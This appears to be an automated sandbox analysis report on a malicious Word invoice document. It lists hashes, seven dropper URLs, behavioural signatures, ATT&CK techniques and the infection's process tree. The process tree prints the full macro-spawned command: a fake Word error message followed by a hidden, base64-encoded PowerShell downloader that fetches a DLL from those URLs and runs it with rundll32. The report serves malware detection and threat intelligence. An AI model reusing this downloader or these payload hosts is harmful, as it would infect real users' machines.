5b6fda6bc66117f2cc1231e6e18c675988cc1250ae547a8c193cd1ed5869bc03

General

Target
INV207537 130121.doc
Size 159KB
Sample210113-e4clf7wh5x
SHA256 5b6fda6bc66117f2cc1231e6e18c675988cc1250ae547a8c193cd1ed5869bc03
MD5 d904dcff569da842a2774940ba27d4ef
SHA1 6c3beac50fb642123dfdcdc6633470bdc23af278
SHA512 73d1e34467472f90d6d88cfac0199dcab1eac4d489f09783b30d49d4e8bcfa078dd74646ab4cefd753ba95b8abfbe4de61307a0500ec97b1a8ab247b2ac85087
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

exe.dropper
http://ketorecipesfit.com/wp-admin/afanv/
exe.dropper
http://mertelofis.com/wp-content/As0/
exe.dropper
http://givingthanksdaily.com/CP/
exe.dropper
http://datawyse.net/0X3QY/
exe.dropper
http://cs.lcxxny.com/wp-includes/E3U8nn/
exe.dropper
http://makiyazhdoma.ru/blocked/tgEeW8M/
exe.dropper
http://trustseal.enamad.ir.redshopfa.com/admit/wJJvvG/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	200	3288	cmd.exe	20

Blocklisted process makes network request 3 IoCs

flow	pid	Process
15	2428	powershell.exe
29	3964	rundll32.exe
30	3964	rundll32.exe

Loads dropped DLL 1 IoCs

pid	Process
1320	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Bhdiixcxsbouwdq\fqyahduptxxwri.nws	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3888	WINWORD.EXE
3888	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2428	powershell.exe
2428	powershell.exe
2428	powershell.exe
3964	rundll32.exe
3964	rundll32.exe
3964	rundll32.exe
3964	rundll32.exe
3964	rundll32.exe
3964	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2428	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 200 wrote to memory of 3184	200	cmd.exe	78
PID 200 wrote to memory of 3184	200	cmd.exe	78
PID 200 wrote to memory of 2428	200	cmd.exe	79
PID 200 wrote to memory of 2428	200	cmd.exe	79
PID 2428 wrote to memory of 4068	2428	powershell.exe	80
PID 2428 wrote to memory of 4068	2428	powershell.exe	80
PID 4068 wrote to memory of 1320	4068	rundll32.exe	81
PID 4068 wrote to memory of 1320	4068	rundll32.exe	81
PID 4068 wrote to memory of 1320	4068	rundll32.exe	81
PID 1320 wrote to memory of 3964	1320	rundll32.exe	86
PID 1320 wrote to memory of 3964	1320	rundll32.exe	86
PID 1320 wrote to memory of 3964	1320	rundll32.exe	86

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\INV207537 130121.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3888

C:\Windows\system32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc cwBlAHQALQBWAEEAUgBJAEEAYgBMAGUAIAAgAG4AaQA5ADcARAAgACAAKAAgACAAWwBUAFkAcABlAF0AKAAiAHsANQB9AHsAMAB9AHsAMgB9AHsAMQB9AHsANAB9AHsAMwB9ACIAIAAtAEYAJwB0AEUAJwAsACcAUgBFACcALAAnAG0ALgBpAG8ALgBEAEkAJwAsACcATwBSAFkAJwAsACcAYwB0ACcALAAnAHMAWQBzACcAKQApACAAOwBTAGUAVAAtAEkAVABlAG0AIAAgACgAIgBWAGEAIgArACIAUgBpACIAKwAiAEEAYgBMAEUAOgBrAGgAMAAiACsAIgB6AHEAeQAiACkAIAAgACgAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANwB9AHsANgB9AHsAMwB9AHsANAB9AHsANQB9AHsAMQB9ACIALQBGACAAJwBzAFkAcwBUAEUAJwAsACcARQBSACcALAAnAE0ALgBOACcALAAnAFMARQAnACwAJwByAHYAaQBjAGUAcABPAGkAbgB0ACcALAAnAG0AQQBuAGEAZwAnACwAJwAuACcALAAnAEUAVAAnACkAIAApACAAIAA7ACQAWgB1AGwANAA1AHAAdgA9ACQAQQA3ADUAUAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAVQAyADQAQgA7ACQASgA2ADMARgA9ACgAJwBBAF8AJwArACcAOQBKACcAKQA7ACAAIAAkAG4ASQA5ADcARAA6ADoAIgBDAHIARQBgAEEAYABUAGUARABpAGAAUgBFAGMAdABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHQAJwArACcAZAAnACsAKAAnAFkAJwArACcAQgB2AHYAJwApACsAJwBqACcAKwAnAG4AZQAnACsAJwBlAHQAJwArACgAJwBkAFkARwAnACsAJwBoACcAKwAnAHEAcQBxAGcAdgB0AGQAJwApACsAJwBZACcAKQAuACIAUgBgAEUAYABQAGwAYQBjAGUAIgAoACgAJwB0ACcAKwAnAGQAWQAnACkALAAnAFwAJwApACkAKQA7ACQASQAwADkARQA9ACgAKAAnAEsAJwArACcANQAxACcAKQArACcAWAAnACkAOwAgACQAawBIADAAegBRAHkAOgA6ACIAUwBgAGUAQwBVAHIAYABpAHQAYAB5AFAAUgBPAFQATwBDAE8ATAAiACAAPQAgACgAKAAnAFQAJwArACcAbABzADEAJwApACsAJwAyACcAKQA7ACQARwAwAF8AQgA9ACgAJwBFAF8AJwArACcAMQBMACcAKQA7ACQASQA5AG0AeABoAG0AcwAgAD0AIAAoACcASwA0ACcAKwAnADIATgAnACkAOwAkAFAAOAAxAEIAPQAoACcATgA4ACcAKwAnADkAWQAnACkAOwAkAEwAdAB4AHAAaQA5AGUAPQAkAEgATwBNAEUAKwAoACgAKAAnAEMAJwArACcATQA0AEIAdgB2AGoAbgAnACsAJwBlAGUAQwAnACsAJwBNACcAKQArACcANABHACcAKwAnAGgAJwArACgAJwBxAHEAJwArACcAcQBnACcAKQArACcAdgBDACcAKwAnAE0ANAAnACkALgAiAFIAYABlAHAAbABBAGAAQwBlACIAKAAoACcAQwAnACsAJwBNADQAJwApACwAJwBcACcAKQApACsAJABJADkAbQB4AGgAbQBzACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABFADAAMwBVAD0AKAAoACcASwAyACcAKwAnADUAJwApACsAJwBBACcAKQA7ACQARQBmADMAMwBzADQAcQA9ACgAJwBBACcAKwAoACcAXQBbAHEAWwBEACcAKwAnADoAJwApACsAKAAnAC8ALwAnACsAJwBrAGUAdABvACcAKQArACcAcgAnACsAKAAnAGUAJwArACcAYwBpACcAKQArACcAcABlACcAKwAoACcAcwBmAGkAdAAnACsAJwAuACcAKwAnAGMAbwBtAC8AdwBwACcAKQArACgAJwAtACcAKwAnAGEAZAAnACkAKwAnAG0AJwArACcAaQAnACsAJwBuACcAKwAnAC8AJwArACgAJwBhAGYAYQAnACsAJwBuACcAKQArACcAdgAvACcAKwAoACcAQAAnACsAJwBBAF0AJwApACsAKAAnAFsAcQAnACsAJwBbAEQAOgAnACkAKwAnAC8AJwArACgAJwAvAG0AZQAnACsAJwByACcAKQArACgAJwB0ACcAKwAnAGUAbABvAGYAaQBzACcAKQArACcALgAnACsAJwBjACcAKwAoACcAbwAnACsAJwBtAC8AdwAnACkAKwAoACcAcAAtACcAKwAnAGMAbwAnACkAKwAnAG4AJwArACgAJwB0ACcAKwAnAGUAbgAnACkAKwAoACcAdAAvACcAKwAnAEEAJwApACsAJwBzACcAKwAoACcAMAAvAEAAJwArACcAQQBdACcAKwAnAFsAJwApACsAJwBxAFsAJwArACcARAA6ACcAKwAoACcALwAnACsAJwAvAGcAaQAnACkAKwAoACcAdgBpACcAKwAnAG4AJwApACsAJwBnACcAKwAoACcAdABoAGEAJwArACcAbgBrAHMAJwApACsAKAAnAGQAYQAnACsAJwBpACcAKQArACgAJwBsAHkALgBjAG8AJwArACcAbQAnACsAJwAvAEMAUAAvACcAKQArACgAJwBAAEEAJwArACcAXQAnACkAKwAoACcAWwAnACsAJwBxACcAKwAnAFsARAA6AC8ALwBkAGEAdAAnACsAJwBhAHcAeQAnACkAKwAnAHMAZQAnACsAKAAnAC4AbgAnACsAJwBlACcAKQArACcAdAAvACcAKwAoACcAMABYADMAUQAnACsAJwBZACcAKQArACcALwBAACcAKwAoACcAQQBdACcAKwAnAFsAcQBbACcAKQArACgAJwBEADoALwAvAGMAJwArACcAcwAnACkAKwAoACcALgBsAGMAeAB4AG4AeQAnACsAJwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAnAC8AdwAnACsAJwBwACcAKwAnAC0AaQAnACsAKAAnAG4AYwAnACsAJwBsACcAKQArACgAJwB1AGQAJwArACcAZQBzACcAKwAnAC8AJwArACcARQAzACcAKwAnAFUAOABuAG4ALwBAAEEAXQAnACsAJwBbAHEAWwBEADoAJwArACcALwAnACsAJwAvAG0AJwApACsAKAAnAGEAJwArACcAawBpACcAKQArACcAeQAnACsAKAAnAGEAegBoACcAKwAnAGQAJwApACsAKAAnAG8AbQAnACsAJwBhAC4AcgAnACsAJwB1ACcAKQArACcALwAnACsAJwBiACcAKwAoACcAbABvAGMAawBlACcAKwAnAGQAJwArACcALwB0AGcAJwApACsAJwBFAGUAJwArACcAVwAnACsAKAAnADgATQAnACsAJwAvACcAKQArACgAJwBAAEEAJwArACcAXQBbAHEAJwArACcAWwBEADoALwAvACcAKQArACcAdAAnACsAKAAnAHIAJwArACcAdQBzAHQAcwAnACsAJwBlAGEAbAAuAGUAbgAnACkAKwAoACcAYQAnACsAJwBtAGEAZAAuACcAKwAnAGkAcgAnACkAKwAoACcALgByACcAKwAnAGUAZAAnACkAKwAnAHMAaAAnACsAKAAnAG8AcAAnACsAJwBmAGEALgBjACcAKwAnAG8AbQAvAGEAJwApACsAKAAnAGQAbQAnACsAJwBpAHQAJwArACcALwB3AEoASgB2AHYARwAvACcAKQApAC4AIgByAEUAcABsAEEAYABDAGUAIgAoACgAKAAnAEEAJwArACcAXQBbAHEAJwApACsAJwBbAEQAJwApACwAKABbAGEAcgByAGEAeQBdACgAKAAnAGQAcwAnACsAKAAnAGUAdwAnACsAJwBmACcAKQApACwAKAAoACcAdwBlACcAKwAnAHYAJwApACsAJwB3AGUAJwApACkALAAoACgAJwBhAGUAJwArACcAZgAnACkAKwAnAGYAJwApACwAKAAnAGgAdAAnACsAJwB0AHAAJwApACkAWwAyAF0AKQAuACIAcwBwAGAATABpAFQAIgAoACQATwA3ADMATAAgACsAIAAkAFoAdQBsADQANQBwAHYAIAArACAAJABBAF8ANABDACkAOwAkAEEAOAAzAEsAPQAoACgAJwBVADQAJwArACcAXwAnACkAKwAnAE0AJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABRAHYAdABuAGQAdgBfACAAaQBuACAAJABFAGYAMwAzAHMANABxACkAewB0AHIAeQB7ACgAJgAoACcATgAnACsAJwBlAHcALQBPAGIAagAnACsAJwBlAGMAdAAnACkAIABTAFkAUwBUAEUATQAuAG4AZQBUAC4AVwBFAEIAYwBsAGkAZQBOAFQAKQAuACIAZABPAHcATgBgAEwATwBBAGQAYABGAEkATABFACIAKAAkAFEAdgB0AG4AZAB2AF8ALAAgACQATAB0AHgAcABpADkAZQApADsAJABOADEAMQBDAD0AKAAoACcASQAnACsAJwA5ADMAJwApACsAJwBLACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABMAHQAeABwAGkAOQBlACkALgAiAGwARQBuAGAAZwBgAFQAaAAiACAALQBnAGUAIAA0ADYAOAA1ADUAKQAgAHsAJgAoACcAcgB1ACcAKwAnAG4AZABsAGwAJwArACcAMwAyACcAKQAgACQATAB0AHgAcABpADkAZQAsACgAJwBTACcAKwAoACcAaAAnACsAJwBvACcAKwAnAHcARABpAGEAbAAnACkAKwAoACcAbwBnACcAKwAnAEEAJwApACkALgAiAHQAbwBzAFQAYABSAGkAYABOAGcAIgAoACkAOwAkAFgAMgBfAEYAPQAoACcATAA3ACcAKwAnADIASwAnACkAOwBiAHIAZQBhAGsAOwAkAEwAOAA4AFgAPQAoACcAUQAwACcAKwAnADcARwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEYAXwA2AEMAPQAoACgAJwBOADIAJwArACcAMAAnACkAKwAnAFAAJwApAA==
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:200
- C:\Windows\system32\msg.exe
  msg Admin /v Word experienced an error trying to open the file.
  2⤵
  PID:3184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w hidden -enc cwBlAHQALQBWAEEAUgBJAEEAYgBMAGUAIAAgAG4AaQA5ADcARAAgACAAKAAgACAAWwBUAFkAcABlAF0AKAAiAHsANQB9AHsAMAB9AHsAMgB9AHsAMQB9AHsANAB9AHsAMwB9ACIAIAAtAEYAJwB0AEUAJwAsACcAUgBFACcALAAnAG0ALgBpAG8ALgBEAEkAJwAsACcATwBSAFkAJwAsACcAYwB0ACcALAAnAHMAWQBzACcAKQApACAAOwBTAGUAVAAtAEkAVABlAG0AIAAgACgAIgBWAGEAIgArACIAUgBpACIAKwAiAEEAYgBMAEUAOgBrAGgAMAAiACsAIgB6AHEAeQAiACkAIAAgACgAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANwB9AHsANgB9AHsAMwB9AHsANAB9AHsANQB9AHsAMQB9ACIALQBGACAAJwBzAFkAcwBUAEUAJwAsACcARQBSACcALAAnAE0ALgBOACcALAAnAFMARQAnACwAJwByAHYAaQBjAGUAcABPAGkAbgB0ACcALAAnAG0AQQBuAGEAZwAnACwAJwAuACcALAAnAEUAVAAnACkAIAApACAAIAA7ACQAWgB1AGwANAA1AHAAdgA9ACQAQQA3ADUAUAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAVQAyADQAQgA7ACQASgA2ADMARgA9ACgAJwBBAF8AJwArACcAOQBKACcAKQA7ACAAIAAkAG4ASQA5ADcARAA6ADoAIgBDAHIARQBgAEEAYABUAGUARABpAGAAUgBFAGMAdABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHQAJwArACcAZAAnACsAKAAnAFkAJwArACcAQgB2AHYAJwApACsAJwBqACcAKwAnAG4AZQAnACsAJwBlAHQAJwArACgAJwBkAFkARwAnACsAJwBoACcAKwAnAHEAcQBxAGcAdgB0AGQAJwApACsAJwBZACcAKQAuACIAUgBgAEUAYABQAGwAYQBjAGUAIgAoACgAJwB0ACcAKwAnAGQAWQAnACkALAAnAFwAJwApACkAKQA7ACQASQAwADkARQA9ACgAKAAnAEsAJwArACcANQAxACcAKQArACcAWAAnACkAOwAgACQAawBIADAAegBRAHkAOgA6ACIAUwBgAGUAQwBVAHIAYABpAHQAYAB5AFAAUgBPAFQATwBDAE8ATAAiACAAPQAgACgAKAAnAFQAJwArACcAbABzADEAJwApACsAJwAyACcAKQA7ACQARwAwAF8AQgA9ACgAJwBFAF8AJwArACcAMQBMACcAKQA7ACQASQA5AG0AeABoAG0AcwAgAD0AIAAoACcASwA0ACcAKwAnADIATgAnACkAOwAkAFAAOAAxAEIAPQAoACcATgA4ACcAKwAnADkAWQAnACkAOwAkAEwAdAB4AHAAaQA5AGUAPQAkAEgATwBNAEUAKwAoACgAKAAnAEMAJwArACcATQA0AEIAdgB2AGoAbgAnACsAJwBlAGUAQwAnACsAJwBNACcAKQArACcANABHACcAKwAnAGgAJwArACgAJwBxAHEAJwArACcAcQBnACcAKQArACcAdgBDACcAKwAnAE0ANAAnACkALgAiAFIAYABlAHAAbABBAGAAQwBlACIAKAAoACcAQwAnACsAJwBNADQAJwApACwAJwBcACcAKQApACsAJABJADkAbQB4AGgAbQBzACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABFADAAMwBVAD0AKAAoACcASwAyACcAKwAnADUAJwApACsAJwBBACcAKQA7ACQARQBmADMAMwBzADQAcQA9ACgAJwBBACcAKwAoACcAXQBbAHEAWwBEACcAKwAnADoAJwApACsAKAAnAC8ALwAnACsAJwBrAGUAdABvACcAKQArACcAcgAnACsAKAAnAGUAJwArACcAYwBpACcAKQArACcAcABlACcAKwAoACcAcwBmAGkAdAAnACsAJwAuACcAKwAnAGMAbwBtAC8AdwBwACcAKQArACgAJwAtACcAKwAnAGEAZAAnACkAKwAnAG0AJwArACcAaQAnACsAJwBuACcAKwAnAC8AJwArACgAJwBhAGYAYQAnACsAJwBuACcAKQArACcAdgAvACcAKwAoACcAQAAnACsAJwBBAF0AJwApACsAKAAnAFsAcQAnACsAJwBbAEQAOgAnACkAKwAnAC8AJwArACgAJwAvAG0AZQAnACsAJwByACcAKQArACgAJwB0ACcAKwAnAGUAbABvAGYAaQBzACcAKQArACcALgAnACsAJwBjACcAKwAoACcAbwAnACsAJwBtAC8AdwAnACkAKwAoACcAcAAtACcAKwAnAGMAbwAnACkAKwAnAG4AJwArACgAJwB0ACcAKwAnAGUAbgAnACkAKwAoACcAdAAvACcAKwAnAEEAJwApACsAJwBzACcAKwAoACcAMAAvAEAAJwArACcAQQBdACcAKwAnAFsAJwApACsAJwBxAFsAJwArACcARAA6ACcAKwAoACcALwAnACsAJwAvAGcAaQAnACkAKwAoACcAdgBpACcAKwAnAG4AJwApACsAJwBnACcAKwAoACcAdABoAGEAJwArACcAbgBrAHMAJwApACsAKAAnAGQAYQAnACsAJwBpACcAKQArACgAJwBsAHkALgBjAG8AJwArACcAbQAnACsAJwAvAEMAUAAvACcAKQArACgAJwBAAEEAJwArACcAXQAnACkAKwAoACcAWwAnACsAJwBxACcAKwAnAFsARAA6AC8ALwBkAGEAdAAnACsAJwBhAHcAeQAnACkAKwAnAHMAZQAnACsAKAAnAC4AbgAnACsAJwBlACcAKQArACcAdAAvACcAKwAoACcAMABYADMAUQAnACsAJwBZACcAKQArACcALwBAACcAKwAoACcAQQBdACcAKwAnAFsAcQBbACcAKQArACgAJwBEADoALwAvAGMAJwArACcAcwAnACkAKwAoACcALgBsAGMAeAB4AG4AeQAnACsAJwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAnAC8AdwAnACsAJwBwACcAKwAnAC0AaQAnACsAKAAnAG4AYwAnACsAJwBsACcAKQArACgAJwB1AGQAJwArACcAZQBzACcAKwAnAC8AJwArACcARQAzACcAKwAnAFUAOABuAG4ALwBAAEEAXQAnACsAJwBbAHEAWwBEADoAJwArACcALwAnACsAJwAvAG0AJwApACsAKAAnAGEAJwArACcAawBpACcAKQArACcAeQAnACsAKAAnAGEAegBoACcAKwAnAGQAJwApACsAKAAnAG8AbQAnACsAJwBhAC4AcgAnACsAJwB1ACcAKQArACcALwAnACsAJwBiACcAKwAoACcAbABvAGMAawBlACcAKwAnAGQAJwArACcALwB0AGcAJwApACsAJwBFAGUAJwArACcAVwAnACsAKAAnADgATQAnACsAJwAvACcAKQArACgAJwBAAEEAJwArACcAXQBbAHEAJwArACcAWwBEADoALwAvACcAKQArACcAdAAnACsAKAAnAHIAJwArACcAdQBzAHQAcwAnACsAJwBlAGEAbAAuAGUAbgAnACkAKwAoACcAYQAnACsAJwBtAGEAZAAuACcAKwAnAGkAcgAnACkAKwAoACcALgByACcAKwAnAGUAZAAnACkAKwAnAHMAaAAnACsAKAAnAG8AcAAnACsAJwBmAGEALgBjACcAKwAnAG8AbQAvAGEAJwApACsAKAAnAGQAbQAnACsAJwBpAHQAJwArACcALwB3AEoASgB2AHYARwAvACcAKQApAC4AIgByAEUAcABsAEEAYABDAGUAIgAoACgAKAAnAEEAJwArACcAXQBbAHEAJwApACsAJwBbAEQAJwApACwAKABbAGEAcgByAGEAeQBdACgAKAAnAGQAcwAnACsAKAAnAGUAdwAnACsAJwBmACcAKQApACwAKAAoACcAdwBlACcAKwAnAHYAJwApACsAJwB3AGUAJwApACkALAAoACgAJwBhAGUAJwArACcAZgAnACkAKwAnAGYAJwApACwAKAAnAGgAdAAnACsAJwB0AHAAJwApACkAWwAyAF0AKQAuACIAcwBwAGAATABpAFQAIgAoACQATwA3ADMATAAgACsAIAAkAFoAdQBsADQANQBwAHYAIAArACAAJABBAF8ANABDACkAOwAkAEEAOAAzAEsAPQAoACgAJwBVADQAJwArACcAXwAnACkAKwAnAE0AJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABRAHYAdABuAGQAdgBfACAAaQBuACAAJABFAGYAMwAzAHMANABxACkAewB0AHIAeQB7ACgAJgAoACcATgAnACsAJwBlAHcALQBPAGIAagAnACsAJwBlAGMAdAAnACkAIABTAFkAUwBUAEUATQAuAG4AZQBUAC4AVwBFAEIAYwBsAGkAZQBOAFQAKQAuACIAZABPAHcATgBgAEwATwBBAGQAYABGAEkATABFACIAKAAkAFEAdgB0AG4AZAB2AF8ALAAgACQATAB0AHgAcABpADkAZQApADsAJABOADEAMQBDAD0AKAAoACcASQAnACsAJwA5ADMAJwApACsAJwBLACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABMAHQAeABwAGkAOQBlACkALgAiAGwARQBuAGAAZwBgAFQAaAAiACAALQBnAGUAIAA0ADYAOAA1ADUAKQAgAHsAJgAoACcAcgB1ACcAKwAnAG4AZABsAGwAJwArACcAMwAyACcAKQAgACQATAB0AHgAcABpADkAZQAsACgAJwBTACcAKwAoACcAaAAnACsAJwBvACcAKwAnAHcARABpAGEAbAAnACkAKwAoACcAbwBnACcAKwAnAEEAJwApACkALgAiAHQAbwBzAFQAYABSAGkAYABOAGcAIgAoACkAOwAkAFgAMgBfAEYAPQAoACcATAA3ACcAKwAnADIASwAnACkAOwBiAHIAZQBhAGsAOwAkAEwAOAA4AFgAPQAoACcAUQAwACcAKwAnADcARwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEYAXwA2AEMAPQAoACgAJwBOADIAJwArACcAMAAnACkAKwAnAFAAJwApAA==
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2428
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Bvvjnee\Ghqqqgv\K42N.dll,ShowDialogA
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4068
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Bvvjnee\Ghqqqgv\K42N.dll,ShowDialogA
      4⤵
      Loads dropped DLL
      Drops file in System32 directory
      Suspicious use of WriteProcessMemory
      PID:1320
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Bhdiixcxsbouwdq\fqyahduptxxwri.nws",ShowDialogA
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:3964

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2428-5-0x00007FFF61490000-0x00007FFF61E7C000-memory.dmp

Download

memory/2428-6-0x000001EE31680000-0x000001EE31681000-memory.dmp

Download

memory/2428-7-0x000001EE31830000-0x000001EE31831000-memory.dmp

Download

memory/3888-2-0x00007FFF69650000-0x00007FFF69C87000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads